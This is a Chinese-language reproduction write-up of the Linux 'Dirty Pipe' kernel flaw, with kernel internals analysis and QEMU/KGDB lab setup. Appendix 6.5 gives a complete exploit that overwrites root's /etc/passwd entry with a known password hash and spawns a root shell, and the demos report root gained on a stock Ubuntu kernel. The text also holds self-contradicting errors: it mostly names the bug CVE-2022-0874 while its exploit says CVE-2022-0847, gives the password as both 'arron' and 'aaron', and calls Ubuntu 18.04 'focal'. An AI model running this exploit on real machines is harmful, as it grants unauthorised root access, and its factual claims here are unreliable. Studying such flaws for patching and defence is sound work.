一、漏洞介绍及其成因
splice系统调用是一种零拷贝技术,通过增加内存页面的引用计数,而非拷贝数据的方式,减少对数据的拷贝,进而提高系统数据传输的吞吐量。splice系统调用不仅支持网络套接字,还支持管道套接字。漏洞发生在管道套接字缓存pipe_buffer的处理逻辑中。
下图所示为splice系统调用原理。
(图片来源于网络公开资料,出处较多,在此不一一列举引用,侵删)
如果应用程序需要从磁盘中读取文件,并将文件的数据发送到socket套接字进行网络传输。应用程序需要将数据先从内核空间拷贝到用户空间,再从用户空间拷贝到以sk_buff结构体的线性缓冲区和非线性缓冲区中。
实际上,将数据拷贝到用户空间这一步操作是多余的。因此,可以使用splice系统调用,使得相关文件描述符的缓存,直接引用文件页缓存。
然而,在管道缓存pipe_buffer引用页缓存之后,并未正确初始化相关标志位(PIPE_BUF_FLAG_CAN_MERGE)。这一漏洞使得攻击者可以在splice系统调用后,往管道套接字缓存中写入数据。该恶意数据数据将破坏页缓存中原有的数据。其他应用程序在读取相同文件时,如果对应的页缓存存在,会直接从该脏页缓存中读取。
攻击者可以通过该漏洞,非法修改系统保护文件的内容,破坏系统权限管理。
CVE-2022-0874 影响的Linux操作系统内核版本范围如下
5.8<=Linux kernel<5.16.11/5.15.25/5.10.102
二、前置知识补充
1. pipe系统调用
(图片来源于网络公开资料,出处较多,在此不一一列举引用,侵删)
pipe管道用于实现跨进程通信,其C语言pipe系统调用示例如附件[6.1]所示。
用户使用该系统调用首先需要创建一个长度为2的int类型数组。该函数需要输入2个参数,分别为:pipefd数组、flags标志参数。通常而言,flags参数一般为零。该函数返回0代表调用成功,返回小于零的值代表调用失败。该函数调用成功后,会将写端文件描述符fd返回到pipe[1]的位置,将读端文件描述符fd返回到pipe[0]的位置。
需要注意的是:在示例程序的跨进程使用中,子进程需要关闭写入端文件描述符fd,否则将造成死锁。这是因为:子进程循环从读端读取数据,当管道缓存中没有数据时,如果写端文件描述符还未关闭,Linux内核将阻塞等待,直至写端有数据传入。
2. splice系统调用使用
splice系统调用示例代码如附录[6.2]所示。在CVE-2022-0874中,splice系统调用的flags参数为0。需要注意的是:splice系统调用的SPLICE_F_MORE标志在Linux内核中并无实现,它是一个无效标志。
三、漏洞分析
1. pipe_buffer相关结构体剖析
pipe_buffer结构体是本漏洞的核心数据结构,该结构体中flags成员字段PIPE_BUF_FLAG_CAN_MERGE标志位管理是本漏洞的根因。因此,本章节对该结构体进行分析。
该结构体定义如上图源代码所示。page成员是Linux操作系统内核的内存页面指针,用于存放数据。offset成员是内存页面中已读出数据的长度,它在write时被初始化为0。len成员是内存页面的数据总长度。ops成员是操作内存页面的函数指针数组。flags成员是pipe_buffer结构体的标志变量,存放着漏洞相关的PIPE_BUF_FLAG_CAN_MERGE标志。private是内存页面操作函数的私有数据。
除此之外,pipe_buffer结构体包含于更外层的pipe_inode_info结构体之中。
2. pipe管道写入漏洞逻辑分析
上面分析到用户通过write()系统调用向管道写入数据,会将pipe->flags的PIPE_BUF_FLAG_CAN_MERGE标志置位,而splice系统调用没有清除该标志位最终导致了漏洞。下文继续分析针对管道内存页面write()系统调用,是如何将该标志置位的。
针对管道内存页面的write()系统调用流程如上图所示。我们需要重点关注流程图中条件判断“检测该buf是否能继续容纳需要写入的数据”部分逻辑。
流程图中条件判断“检测该buf是否能继续容纳需要写入的数据”的核心理念是:页对齐。譬如说:如果需要写入0x4023长度的数据。该算法,首先会对0x4023进行页取余操作。即0x4023&0xfff=0x23。然后,判断内存页面剩余的空间是否能容纳0x23大小的数据。如果能够容纳,则将0x23大小的数据,复制于该pipe_buffer内存页面page的剩余空间中。该算法提升了pipe_buffer的内存空间利用率。
漏洞所涉及的PIPE_BUF_FLAG_CAN_MERGE标志正是为了支持该内存空间优化算法。该标志在为pipe_buffer申请内存页面page的流程图分支逻辑中,被置位。
本文附件《Linux系统pipe管道方案分析.md》包含“pipe_buffer结构体嵌套关系”、”pipe_buffer结构体申请代码分析”、”pipe_buffer结构体内存页面数据读取分析”、”pipe_buffer结构体内存页面数据写入分析”、”pipe_buffer结构体释放分析”。笔者在此向大家分享,希望能够帮助大家进行更深层次的学习理解。
3. splice系统调用漏洞逻辑分析
本章节继续分析splice系统调用为何没有将PIPE_BUF_FLAG_CAN_MERGE标志位清除。
用户使用splice()系统调用,Linux内核最终会在内核空间调用copy_page_to_iter_pipe()函数。该函数的主要功能是:将系统申请得到的文件页面缓存page,赋值到pipe_buffer->page指针中,并初始化pipe_buffer的相关成员变量。
从上述代码注释中可得出,源代码对pipe_buffer结构体的ops、page、offset、len、head成员进行了设置,但是没有对flags成员进行设置。此时,再次执行针对管道内存页面的write()系统调用,就会向文件缓存页面写入攻击者可控的数据。这便是CVE-2022-0874漏洞原理。
本文附件《Linux系统splice系统调用链分析.md》也有对splice系统调用更深入的代码逻辑分析。
4. Linux 用户组管理分析
CVE-2022-0874漏洞利用是篡改Linux用户组管理文件,伪造注册root最高权限根用户,最终实现权限提升。因此,本章节对Linux用户组管理文件进行分析。
Linux操作系统使用两个文件分别记录用户以及用户组的信息。分别是/etc/passwd文件与/etc/group文件。前者记录用户的口令密码,后者记录用户的属组。直观上理解:Linux的每一个用户,必须有对应的一个主要属组。一个用户可以有多个属组。其内涵的意义是:“一个人,一定是自己的小组长”。一个用户可以加入到多个组中,成为别人的组员。
/etc/passwd文件内容的示例如下:
| mark:x:1001:1001:mark,,,:/home/mark:/bin/bash
[--] - [--] [--] [-----] [--------] [--------]
| | | | | | |
| | | | | | +-> 7. login shell
| | | | | +----------> 6. Home directory
| | | | +--------------------> 5. GECOS
| | | +--------------------------> 4. GID
| | +-------------------------------> 3. UID
| +-----------------------------------> 2. Password
+----------------------------------------> 1. Username
|
| --- |
可以看见,该文件共有7个字段。第1个字段为用户名、第2个字段Password,第3个字段为用户权限、第4个字段为用户所属主要组权限、第5个字段为描述信息、第6个字段为用户家目录、第7个字段为用户登录程序。其中,第2个字段Password支持“加盐”,即用一个指定数值作为密钥,对密码进行哈希运算,防止密码明文存储风险和哈希键值表攻击。
CVE-2022-0874篡改了/etc/passwd文件,将root用户记录项中的Password字段,篡改为攻击者已知的哈希值,达到了篡改root用户密码的效果。
/etc/gourp文件主要记录Linux系统用户属组。该文件与本漏洞关联性不大,因此不过多赘述,仅在本章节下文给出文件内容示例。
四、环境搭建&漏洞利用
1. Exploit程序代码编写
如上图所示,对16个pipe_buffer都写满数据,然后通过read()系统调用,读出所有pipe_buffer中的数据。根据上述函数分析,如此一来,pipe_buffer的flags都会将PIPE_BUF_FLAG_CAN_MERGE标志置位。
打开/etc/passwd文件,然后通过splice()系统调用,修改root的密码为arron。
2. Qemu仿真下的环境搭建和漏洞利用
4.2.1 配置并编译Linux v5.9.10版本内核
首先从以下地址下载Linux内核v5.9.10
https://mirrors.edge.kernel.org/pub/linux/kernel/v5.x/linux-5.9.10.tar.gz
运行附件[6.3 Linux内核编译环境配置]的编译环境配置脚本,安装依赖软件,配置编译环境。
在缺省配置下,该漏洞存在。为了支持内核调试,编译内核主要开启以下功能。
使用make menuconfig时,可以输入斜杠”/”,搜索相关配置选项,比如:CONFIG_E1000
4.2.2 配置Linux根文件系统
下载并编译busybox文件系统。具体下载链接与配置参数如下图所示:
下载链接:https://busybox.net/downloads/busybox-1.33.1.tar.bz2
配置参数:
Busybox所编译出的根文件系统,并没有创建/etc目录,也没有init文件。为了能够正确配置Linux操作系统的用户组管理,本文自行创建了/etc目录、/etc/passwd文件、/etc/group文件,和init开机启动脚本。
上述文件具体内容如附件[6.4 Linux根文件系统相关文件内容]所示。
此外,为了提高实验测试的自动化程度,将exploit漏洞利用程序打包到根文件系统的运维命令如下图所示。
该脚本主要完成3个工作:编译exploit漏洞利用程序、将exploit漏洞利用程序打包到根文件系统中、将打包后的根文件系统赋值到测试目录。
4.2.3 通过Qemu启动Linux内核
使用如下命令,启动Qemu,仿真Linux v5.9.10操作系统。
上述命令中,较为重要的参数是:
-kernel,指定Linux内核镜像为bzImage。该镜像可以Linux内核源代码编译目录的/arch/x86-64/boot中获取。
-initrd,指定根文件系统。即上文描述的打包根文件系统后获得的test.cpio文件。
该文件的文本形式,在附件[6.4.4 start.sh文件内容]中。
4.2.4 通过Qemu/GDB调试Linux内核
使用如下命令,启动gdb,接入GDB调试器。
其中,较为重要的GDB命令为:
file,使GDB读取Linux v5.9.10内核镜像的符号。vmlinux为Linux内核的未压缩镜像。
target remote,使得gdb附着到本机的1234调试端口。Qemu的-s参数,将暴露Linux内核的调试接口为localhost:1234。
该脚本的文本形式如[6.4.5 gdb_kernel.sh文件内容]所示。
4.2.5 演示(Qemu仿真)
在Qemu中运行exp,并输入密码arron便可切换到超级用户。
需要注意的是:在busybox运行su指令,需要改变su指令的属主与属组为root,并给su指令添加suid标志位。下文为实验介绍。
如图所示,sam为一个普通用户。使用cat /etc/passwd命令,可以观察得到:root没有设置密码。故此时普通用户是无法切换到特权级用户root的。
运行exploit漏洞利用程序之后,可以观察发现:/etc/passwd文件的内容发生了变化。说明,后门密码arron已经成功写入到/etc/passwd文件中了。
使用su命令,切换到root超级用户,shell命令行提示需要输入密码。输入arron后门密码后,成功切换到了root超级用户。
输入id检查root用户的uid、gid权限为0。uid和gid为Linux操作系统的权限凭证,数值越小代表权限越高。0代表最高权限。
3. 实机发行版下的环境搭建和漏洞利用
4.3.1 概述
由于仿真调试无法实证漏洞在Linux发行版中的危害性。因此,需要配置双机调试环境,测试漏洞exploit程序能够在Linux发行版中实施攻击。
该环境配置主要分为4个步骤:下载对应版本内核、下载对应版本内核符号文件、下载对应版本源代码、配置grub及双机调试环境。
4.3.2 下载对应版本内核镜像
Ubuntu Linux发行版v5.13.0-21受CVE-2022-0874漏洞影响,因此下载linux-image-5.13.0-21-generic内核镜像,与调试符号linux-image-5.13.0-21-generic-dbgsym。
这与正常下载软件包的操作无异,即在Ubuntu中使用apt命令进行下载。如下图所示:
根据我的试错经验,需要注意的是:在母机操作系统中需要预留/boot分区大小至少256MB以上,并且“越大越好”,谨防下载安装的内核过大,而无法成功安装。
4.3.3 下载对应版本内核符号文件
如上一小节所述,对应的内核符号文件为linux-image-5.13.0-21-generic-dbgsym。
在Ubuntu发行版中,存在一个符号服务器,用于存放官方编译内核的符号文件。该服务器的地址为http://ddebs.ubuntu.com/
相关的下载命令,如下图所示:
总体上,上述命令顺序完成以下工作:添加符号服务器作为软件源、更新软件源、下载对应版本的内核符号与镜像。
4.3.4 下载对应版本源代码
对应版本的源代码仓库地址为:https://git.launchpad.net/~ubuntu-kernel/ubuntu/+source/linux/+git/focal
Ubuntu发行版的源代码,同步与Linux源代码上游。Ubuntu发行版的源代码存放于launchpad网站中。launchpad网站是Ubuntu系统发行版的托管管理网站。下载源代码的权威指南,可见如下Ubuntu维基百科链接:
https://wiki.ubuntu.com/Kernel/SourceCode
具体下载指令,可见如下已编写好的运维脚本:
上述命令的作用已如注释所述。
测试环境为Ubuntu18.04,其代号为focal,因此<series>字段填写focal。</series>
4.3.5 配置grub及双机调试环境
为了能够调试发行版内核,需要配置grub与VMware中的串口通信。下文描述如何配置grub与VMware的通信串口、配置原理。
Grub是用于引导操作系统内核加载的系统。直观上理解为:BIOS开启启动后,先启动Grub系统,再由Grub系统启动Linux系统。
KGDB能够附加于Linux操作系统,需要修改Grub引导Linux操作系统的启动参数。
因此,实操上,直接复制原有的Grub配置项,通过新增配置项的方式,添加相关的KGDB调试参数。
此外,还需要在命令行中设置系统串口设备的波特率,使其与KGDB调试参数中的波特率一直。
具体的运维命令如下图所示:
最后,配置VMware的串口通信。
具体的VMware串口通信配置结果如下图所示:
上位机:
下位机:
4.3.6 演示(实机发行版)
打开下位机,选择Advanced options for Ubuntu选项。
在该选项中,选择Ubuntu, with 5.13.0-21-generic,进入Linux内核v5.13.0-21。
进入系统命令行后,运行exploit漏洞利用程序。
上图可以分析得出:helson用户的uid权限为1000,运行exploit漏洞利用程序后,成功将uid权限提升为0,即root。普通权限无法查看/etc/shadow,而root权限下可以查看/etc/shadow文件,说明权限提升成功。
五、复现总结
本漏洞系Linux系统经典漏洞,别名”Dirty Pipe”。本漏洞给与的启示是:开发中,一定要遵循变量先赋值,后使用的原则。
六、附件
6.1 pipe系统调用示例代码
// C程序演示C中父子共享的管道系统调用
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/wait.h>
#define MSG_SIZE 16
char* msg1 = "hello, world #1";
char* msg2 = "hello, world #2";
char* msg3 = "hello, world #3";
int main()
{
char inbuf[MSG_SIZE];
int p[2], pid, nbytes;
if (pipe(p) < 0)
exit(1);
// 父进程中
if ((pid = fork()) > 0) {
write(p[1], msg1, MSG_SIZE);
write(p[1], msg2, MSG_SIZE);
write(p[1], msg3, MSG_SIZE);
// 添加下面一行代码来关闭管道的写入口就不会引起进程挂起
// close(p[1]);
wait(NULL);
// 子进程中
} else {
// 添加下面一行代码来关闭管道的写入口就不会引起进程挂起
// close(p[1]);
while ((nbytes = read(p[0], inbuf, MSG_SIZE)) > 0)
printf("s %s\n", inbuf);
if (nbytes != 0)
exit(2);
printf("Finished reading\n");
}
return 0;
}
6.2 splice系统调用示例代码
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
int main() {
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
int filefd = open("output.txt", O_WRONLY | O_CREAT | O_TRUNC, 0644);
int pipefd[2];
pipe(pipefd);
// 从套接字读取数据并将其写入管道中
splice(sockfd, NULL, pipefd[1], NULL, 32768, 0);
// 从管道中读取数据并将其写入文件中
splice(pipefd[0], NULL, filefd, NULL, 32768, 0);
close(sockfd);
close(filefd);
return 0;
}
6.3 Linux内核编译环境配置
#!/bin/sh
<<Environment
HOST: Ubuntu18.04.05
Host Kernel Version: Linux pc 5.4.0-42-generic #46~18.04.1-Ubuntu SMP Fri Jul 10 07:21:24 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
GCC Version: gcc (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
Target compile kernel version: Linux v5.9.10
【ERROR】
Ubuntu22.04版本下编译Linux v5.9.10会报错
原因:ld版本迭代,某些符号命名发生了变更,导致编译器无法找到符号,进而报告符号缺失(missing)
原因分析:
参考网页 - Compiling older versions of the kernel using newer packages:https://www.reddit.com/r/archlinux/comments/pl9pak/compiling_older_versions_of_the_kernel_using/
该分析称:binutils 2.36已经修复该错误。patch补丁地址为:https://github.com/torvalds/linux/commit/1d489151e9f9d1647110277ff77282fe4d96d09b.patch
然而,Ubuntu22.04 LTS中的binutils版本为2.38,依旧报错
解决方法:
使用更低版本的Linux发行版,编译该内核
其他:
同样报错提问帖 - kernel compile error: arch/x86/entry/thunk_64.o:https://forums.gentoo.org/viewtopic-p-8673423.html?sid=7ed57e7d28442bf7e95228cafb143034
Environment
<<COMMENT
【.config文件的修改】
报错:No rule to make target 'debian/canonical-certs.pem'...
原因:估计是内核模块签名,密码啥的。
解决方法:
1、参考CSDN博客 - 内核错误......:https://blog.csdn.net/qq_36393978/article/details/118157426
具体解决操作:
1、将.config文件中的以下值,修改为空值
CONFIG_SYSTEM_TRUSTED_KEYS="debian/canonical-certs.pem" -> CONFIG_SYSTEM_TRUSTED_KEYS=""
CONFIG_SYSTEM_REVOCATION_KEYS="debian/canonical-revoked-certs.pem" -> CONFIG_SYSTEM_REVOCATION_KEYS=""
COMMENT
<<COMMENT
【依赖相关,编译报错】
总结:缺失的依赖,已补充到环境配置命令中
【报错1】
BTF: .tmp_vmlinux.btf: pahole (pahole) is not available
Failed to generate BTF for vmlinux
Try to disable CONFIG_DEBUG_INFO_BTF
Makefile:1162: recipe for target 'vmlinux' failed
make: *** [vmlinux] Error 1
原因:不明
解决方法:
1、参考stackoverflow - BTF...... :https://stackoverflow.com/questions/61657707/btf-tmp-vmlinux-btf-pahole-pahole-is-not-available
具体解决操作:
1、sudo apt install dwarves
【报错2】
ZSTD22 arch/x86/boot/compressed/vmlinux.bin.zst
/bin/sh: 1: zstd: not found
arch/x86/boot/compressed/Makefile:152: recipe for target 'arch/x86/boot/compressed/vmlinux.bin.zst' failed
make[2]: *** [arch/x86/boot/compressed/vmlinux.bin.zst] Error 127
make[2]: *** Deleting file 'arch/x86/boot/compressed/vmlinux.bin.zst'
arch/x86/boot/Makefile:115: recipe for target 'arch/x86/boot/compressed/vmlinux' failed
make[1]: *** [arch/x86/boot/compressed/vmlinux] Error 2
arch/x86/Makefile:265: recipe for target 'bzImage' failed
make: *** [bzImage] Error 2
make: *** Waiting for unfinished jobs....
原因:不明
解决方法:
1、参考博客 - Ubuntu 20.04 compile zstd error:https://forum.openwrt.org/t/ubuntu-20-04-compile-zstd-error/66619
具体解决操作:
1、sudo apt install zstd
COMMENT
# 脚本入口在此!main
sudo apt update
sudo apt install -y git fakeroot build-essential ncurses-dev xz-utils libssl-dev bc flex libelf-dev bison
sudo apt install -y gcc make
sudo apt install -y dwarves zstd # 缺失这两个依赖,会导致依赖报错。详情请见脚本开头注释。
: 以下命令用于安装Qemu,用于调试
sudo apt install -y qemu-system
6.4 Linux根文件系统相关文件内容
6.4.1 /etc/passwd文件内容
root:x:0:0:root:/root:/bin/sh
sam:x:1000:1000:sam:/home/sam:/bin/sh
6.4.2 /etc/group文件内容
root:x:0:
sam:x:1000:
6.4.3 /init文件内容
#!/bin/sh
echo "{==DBG==} INIT SCRIPT"
#mkdir /tmp
#mount -t devtmpfs none /dev
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs /tmp
mount -t devtmpfs devtmpfs /dev
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
# 添加普通用户sam, id为1000
# mkdir -p /home/sam
# mkdir -p /etc
# touch /etc/passwd
# adduser -h /home/sam -s /bin/sh sam
#loadKo
insmod /tmp/myHeapMod.ko
mdev -s # We need this to find /dev/sda later
echo -e "{==DBG==} Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
#chown 1000 /dev/stack
#chmod 777 /dev/arbWriteModule
# chmod 777 /dev/stack
ifconfig lo 127.0.0.1
route add -net 127.0.0.0 netmask 255.255.255.0 lo
ifconfig eth0 192.168.10.0
route add -net 192.168.10.0 netmask 255.255.255.0 eth0
#chmod 777 /tmp/sudo
#nohup /tmp/sudo &
#nohup /tmp/reverse_shell &
# 初始化su的环境
# 备注:此处那个/bin/su,是一个硬链接。设置该文件的属性,实质上是设置/bin/busybox的属性。因此,下列语句起效。
chown root:root /bin/su
chmod 4755 /bin/su
# 这是只有root才能够读取的flag
echo "this is a sample flag" >> /flag
chmod 600 flag
# exec /bin/sh -c "su sam" #root
# 以下命令的数值部分,区分normal user还是root
setsid /bin/cttyhack setuidgid 0 /bin/sh #normal user
poweroff -d 0 -f
6.4.4 start.sh文件内容
qemu-system-x86_64 \
-m 4096M \
-cpu kvm64,+smep,+smap \
-kernel ./bzImage \
-initrd ./test.cpio \
-nographic \
-s \
-smp 4,cores=2,threads=2 \
-append "console=ttyS0 quiet nokaslr"
6.4.5 gdb_kernel.sh文件内容
gdb \
-ex "add-auto-load-safe-path $(pwd)" \
-ex "file ./vmlinux" \
-ex 'set architecture i386:x86-64' \
-ex 'target remote localhost:1234' \
6.5 exploit漏洞利用程序源代码
/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <max.kellermann@ionos.com>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int main() {
const char *const path = "/etc/passwd";
printf("Backing up /etc/passwd to /tmp/passwd.bak ...\n");
FILE *f1 = fopen("/etc/passwd", "r");
FILE *f2 = fopen("/tmp/passwd.bak", "w");
if (f1 == NULL) {
printf("Failed to open /etc/passwd\n");
exit(EXIT_FAILURE);
} else if (f2 == NULL) {
printf("Failed to open /tmp/passwd.bak\n");
fclose(f1);
exit(EXIT_FAILURE);
}
char c;
while ((c = fgetc(f1)) != EOF)
fputc(c, f2);
fclose(f1);
fclose(f2);
loff_t offset = 4; // after the "root"
const char *const data = ":$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\n \n "; // openssl passwd -1 -salt aaron aaron
printf("Setting root password to \"aaron\"...\n");
const size_t data_size = strlen(data);
if (offset % PAGE_SIZE == 0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}
const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
if (end_offset > next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}
/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}
struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return EXIT_FAILURE;
}
if (offset > st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}
if (end_offset > st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}
char *argv[] = {"/bin/sh", "-c", "(echo aaron; cat) | su - -c \""
"echo \\\"Restoring /etc/passwd from /tmp/passwd.bak...\\\";"
"cp /tmp/passwd.bak /etc/passwd;"
"echo \\\"Done! Popping shell... (run commands now)\\\";"
"/bin/sh;"
"\" root"};
execv("/bin/sh", argv);
printf("system() function call seems to have failed :(\n");
return EXIT_SUCCESS;
}
6.6 Linux系统pipe管道方案分析
《Linux系统pipe管道方案分析.md》,见本文附件
6.7 Linux系统Splice系统调用链分析
《Linux系统splice系统调用链分析.md》,见本文附件
- Linux系统pipe管道方案和splice系统调用链分析.zip 下载
-
-
-
-
-
-